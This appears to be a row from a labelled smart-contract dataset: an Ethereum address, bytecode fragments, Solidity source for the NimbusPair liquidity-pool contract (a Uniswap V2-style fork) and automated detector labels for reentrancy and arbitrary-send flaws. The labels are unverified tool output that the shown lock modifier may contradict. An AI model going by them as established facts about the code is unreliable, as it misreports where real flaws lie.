600082611d8157611d81611d9c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064657600080fd5b801515811461064657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207042958e2ded0b2e2e0bc8e254aab587ce88f6cb9663334b64506acb0c78af3164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,054 |
0x9398343a865161F8D87Ba9988bC24F66D4a81f2b
|
pragma solidity =0.8.0;
interface INimbusFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function nimbusReferralProgram() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface INimbusERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface INimbusPair is INimbusERC20 {
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract NimbusERC20 is INimbusERC20 {
using SafeMath for uint;
string public constant override name = 'Nimbus LP';
string public constant override symbol = 'NBU_LP';
uint8 public constant override decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
constructor() {
uint chainId = block.chainid;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != (2**256-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'Nimbus: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Nimbus: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface INimbusCallee {
function NimbusCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface INimbusReferralProgram {
function recordFee(address token, address recipient, uint amount) external;
}
contract NimbusPair is INimbusPair, NimbusERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant override MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public override factory;
address public override token0;
address public override token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public override price0CumulativeLast;
uint public override price1CumulativeLast;
uint public override kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Nimbus: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view override returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Nimbus: TRANSFER_FAILED');
}
constructor() {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external override {
require(msg.sender == factory, 'Nimbus: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= (2**112 - 1) && balance1 <= (2**112 - 1), 'Nimbus: OVERFLOW'); // uint112(-1) = 2 ** 112 - 1
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = INimbusFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external override lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Nimbus: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external override lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Nimbus: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external override lock {
require(amount0Out > 0 || amount1Out > 0, 'Nimbus: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Nimbus: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Nimbus: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) INimbusCallee(to).NimbusCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Nimbus: INSUFFICIENT_INPUT_AMOUNT');
{
address referralProgram = INimbusFactory(factory).nimbusReferralProgram();
if (amount0In > 0) {
address _token0 = token0;
uint refFee = amount0In.mul(3)/ 2000;
_safeTransfer(_token0, referralProgram, refFee);
INimbusReferralProgram(referralProgram).recordFee(_token0, to, refFee);
balance0 = balance0.sub(refFee);
}
if (amount1In > 0) {
uint refFee = amount1In.mul(3) / 2000;
address _token1 = token1;
_safeTransfer(_token1, referralProgram, refFee);
INimbusReferralProgram(referralProgram).recordFee(_token1, to, refFee);
balance1 = balance1.sub(refFee);
}
}
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(15));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(15));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Nimbus: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external override lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external override lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
0x608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a71461034d578063d505accf14610355578063dd62ed3e14610368578063fff6cae91461037b576101b9565b8063ba9a7a561461032a578063bc25cf7714610332578063c45a015514610345576101b9565b80637ecebe00116100d35780637ecebe00146102db57806389afcb44146102ee57806395d89b411461030f578063a9059cbb14610317576101b9565b80636a627842146102ad57806370a08231146102c05780637464fc3d146102d3576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610282578063485cc9551461028a5780635909c0d51461029d5780635a3d5493146102a5576101b9565b806323b872dd1461025257806330adf81f14610265578063313ce5671461026d576101b9565b8063095ea7b311610197578063095ea7b3146102085780630dfe16811461022857806318160ddd1461023d576101b9565b8063022c0d9f146101be57806306fdde03146101d35780630902f1ac146101f1575b600080fd5b6101d16101cc3660046127a6565b610383565b005b6101db610b74565b6040516101e891906129ec565b60405180910390f35b6101f9610bad565b6040516101e893929190612e66565b61021b610216366004612743565b610c02565b6040516101e89190612979565b610230610c19565b6040516101e89190612889565b610245610c35565b6040516101e89190612984565b61021b61026036600461268e565b610c3b565b610245610d14565b610275610d38565b6040516101e89190612ebf565b610245610d3d565b6101d1610298366004612656565b610d43565b610245610de7565b610245610ded565b6102456102bb36600461261e565b610df3565b6102456102ce36600461261e565b611162565b610245611174565b6102456102e936600461261e565b61117a565b6103016102fc36600461261e565b61118c565b6040516101e8929190612e96565b6101db6115e5565b61021b610325366004612743565b61161e565b61024561162b565b6101d161034036600461261e565b611631565b6102306117c0565b6102306117dc565b6101d16103633660046126ce565b6117f8565b610245610376366004612656565b6119f9565b6101d1611a16565b600c546001146103c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d43565b60405180910390fd5b6000600c55841515806103db5750600084115b610411576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612db1565b60008061041c610bad565b5091509150816dffffffffffffffffffffffffffff168710801561044f5750806dffffffffffffffffffffffffffff1686105b610485576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612c1b565b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff9182169190811690891682148015906104ea57508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b610520576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612b50565b8a1561053157610531828a8d611bda565b891561054257610542818a8c611bda565b86156105d5576040517f806693a300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8a169063806693a3906105a29033908f908f908e908e90600401612901565b600060405180830381600087803b1580156105bc57600080fd5b505af11580156105d0573d6000803e3d6000fd5b505050505b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8316906370a0823190610627903090600401612889565b60206040518083038186803b15801561063f57600080fd5b505afa158015610653573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610677919061278e565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815290945073ffffffffffffffffffffffffffffffffffffffff8216906370a08231906106cc903090600401612889565b60206040518083038186803b1580156106e457600080fd5b505afa1580156106f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071c919061278e565b92505050600089856dffffffffffffffffffffffffffff1661073e9190612fb5565b831161074b57600061076f565b6107658a6dffffffffffffffffffffffffffff8716612fb5565b61076f9084612fb5565b9050600061078d8a6dffffffffffffffffffffffffffff8716612fb5565b831161079a5760006107be565b6107b48a6dffffffffffffffffffffffffffff8716612fb5565b6107be9084612fb5565b905060008211806107cf5750600081115b610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612c52565b600554604080517f6e81aa63000000000000000000000000000000000000000000000000000000008152905160009273ffffffffffffffffffffffffffffffffffffffff1691636e81aa63916004808301926020929190829003018186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061263a565b905082156109775760065473ffffffffffffffffffffffffffffffffffffffff1660006107d06108d9866003611d90565b6108e39190612f20565b90506108f0828483611bda565b8273ffffffffffffffffffffffffffffffffffffffff16632a355f7c838e846040518463ffffffff1660e01b815260040161092d939291906128aa565b600060405180830381600087803b15801561094757600080fd5b505af115801561095b573d6000803e3d6000fd5b505050506109728188611dea90919063ffffffff16565b965050505b8115610a455760006107d061098d846003611d90565b6109979190612f20565b60075490915073ffffffffffffffffffffffffffffffffffffffff166109be818484611bda565b8273ffffffffffffffffffffffffffffffffffffffff16632a355f7c828e856040518463ffffffff1660e01b81526004016109fb939291906128aa565b600060405180830381600087803b158015610a1557600080fd5b505af1158015610a29573d6000803e3d6000fd5b50505050610a408287611dea90919063ffffffff16565b955050505b506000610a68610a5684600f611d90565b610a6287612710611d90565b90611dea565b90506000610a7a610a5684600f611d90565b9050610aa76305f5e100610aa16dffffffffffffffffffffffffffff8b8116908b16611d90565b90611d90565b610ab18383611d90565b1015610ae9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612b19565b5050610af784848888611e32565b8873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82284848f8f604051610b5a9493929190612ea4565b60405180910390a350506001600c55505050505050505050565b6040518060400160405280600981526020017f4e696d627573204c50000000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610c0f3384846120f5565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610cff5773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610ccd9083611dea565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610d0a84848461216a565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610d94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612e0e565b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c54600114610e31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d43565b6000600c81905580610e41610bad565b506006546040517f70a0823100000000000000000000000000000000000000000000000000000000815292945090925060009173ffffffffffffffffffffffffffffffffffffffff909116906370a0823190610ea1903090600401612889565b60206040518083038186803b158015610eb957600080fd5b505afa158015610ecd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef1919061278e565b6007546040517f70a0823100000000000000000000000000000000000000000000000000000000815291925060009173ffffffffffffffffffffffffffffffffffffffff909116906370a0823190610f4d903090600401612889565b60206040518083038186803b158015610f6557600080fd5b505afa158015610f79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9d919061278e565b90506000610fbb836dffffffffffffffffffffffffffff8716611dea565b90506000610fd9836dffffffffffffffffffffffffffff8716611dea565b90506000610fe78787612235565b6000549091508061101e5761100a6103e8610a626110058787611d90565b6123af565b985061101960006103e861241f565b611073565b6110706dffffffffffffffffffffffffffff891661103c8684611d90565b6110469190612f20565b6dffffffffffffffffffffffffffff89166110618685611d90565b61106b9190612f20565b6124c6565b98505b600089116110ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612ce6565b6110b78a8a61241f565b6110c386868a8a611e32565b81156110ff576008546110fb906dffffffffffffffffffffffffffff808216916e010000000000000000000000000000900416611d90565b600b555b3373ffffffffffffffffffffffffffffffffffffffff167f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f8585604051611147929190612e96565b60405180910390a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c546001146111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d43565b6000600c819055806111db610bad565b506006546007546040517f70a0823100000000000000000000000000000000000000000000000000000000815293955091935073ffffffffffffffffffffffffffffffffffffffff9081169291169060009083906370a0823190611243903090600401612889565b60206040518083038186803b15801561125b57600080fd5b505afa15801561126f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611293919061278e565b905060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112d09190612889565b60206040518083038186803b1580156112e857600080fd5b505afa1580156112fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611320919061278e565b3060009081526001602052604081205491925061133d8888612235565b6000549091508061134e8487611d90565b6113589190612f20565b9a50806113658486611d90565b61136f9190612f20565b995060008b118015611381575060008a115b6113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612bbe565b6113c130846124de565b6113cc878d8d611bda565b6113d7868d8c611bda565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8816906370a0823190611429903090600401612889565b60206040518083038186803b15801561144157600080fd5b505afa158015611455573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611479919061278e565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815290955073ffffffffffffffffffffffffffffffffffffffff8716906370a08231906114ce903090600401612889565b60206040518083038186803b1580156114e657600080fd5b505afa1580156114fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151e919061278e565b935061152c85858b8b611e32565b811561156857600854611564906dffffffffffffffffffffffffffff808216916e010000000000000000000000000000900416611d90565b600b555b8b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d819364968d8d6040516115c7929190612e96565b60405180910390a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f4e42555f4c50000000000000000000000000000000000000000000000000000081525081565b6000610c0f33848461216a565b6103e881565b600c5460011461166d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d43565b6000600c556006546007546008546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff93841693909216916117489184918691611743916dffffffffffffffffffffffffffff9091169084906370a08231906116f3903090600401612889565b60206040518083038186803b15801561170b57600080fd5b505afa15801561171f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a62919061278e565b611bda565b6117b681846117436008600e9054906101000a90046dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016116f39190612889565b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611832576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612aab565b60035473ffffffffffffffffffffffffffffffffffffffff8816600090815260046020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b91908761189283613021565b919050558a6040516020016118ac9695949392919061298d565b604051602081830303815290604052805190602001206040516020016118d3929190612853565b60405160208183030381529060405280519060200120905060006001828686866040516000815260200160405260405161191094939291906129ce565b6020604051602081039080840390855afa158015611932573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116158015906119ad57508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d7a565b6119ee8989896120f5565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611a52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d43565b6000600c556006546040517f70a08231000000000000000000000000000000000000000000000000000000008152611bd39173ffffffffffffffffffffffffffffffffffffffff16906370a0823190611aaf903090600401612889565b60206040518083038186803b158015611ac757600080fd5b505afa158015611adb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aff919061278e565b6007546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a0823190611b55903090600401612889565b60206040518083038186803b158015611b6d57600080fd5b505afa158015611b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba5919061278e565b6008546dffffffffffffffffffffffffffff808216916e010000000000000000000000000000900416611e32565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e74323536290000000000000060209091015251600090819073ffffffffffffffffffffffffffffffffffffffff8616907fa9059cbb2ab09eb219583f4a59a5d0623ade346d962bcd4e46b11da047c9049b90611c5e90879087906024016128db565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909416939093179092529051611ce79190612837565b6000604051808303816000865af19150503d8060008114611d24576040519150601f19603f3d011682016040523d82523d6000602084013e611d29565b606091505b5091509150818015611d53575080511580611d53575080806020019051810190611d53919061276e565b611d89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612caf565b5050505050565b6000811580611db457508282611da68183612f78565b9250611db29083612f20565b145b610c13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612a74565b600082611df78382612fb5565b9150811115610c13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612a3d565b6dffffffffffffffffffffffffffff8411158015611e5e57506dffffffffffffffffffffffffffff8311155b611e94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612b87565b6000611ea56401000000004261305a565b600854909150600090611ede907c0100000000000000000000000000000000000000000000000000000000900463ffffffff1683612fcc565b905060008163ffffffff16118015611f0557506dffffffffffffffffffffffffffff841615155b8015611f2057506dffffffffffffffffffffffffffff831615155b15611fee578063ffffffff16611f5d85611f398661258f565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16906125ba565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611f859190612f78565b60096000828254611f969190612ecd565b909155505063ffffffff8116611faf84611f398761258f565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611fd79190612f78565b600a6000828254611fe89190612ecd565b90915550505b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff87160217928390556040517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1936120e593818116939091041690612e45565b60405180910390a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061215d908590612984565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604090205461219a9082611dea565b73fffffffffffffffffffffffffffffffffffffff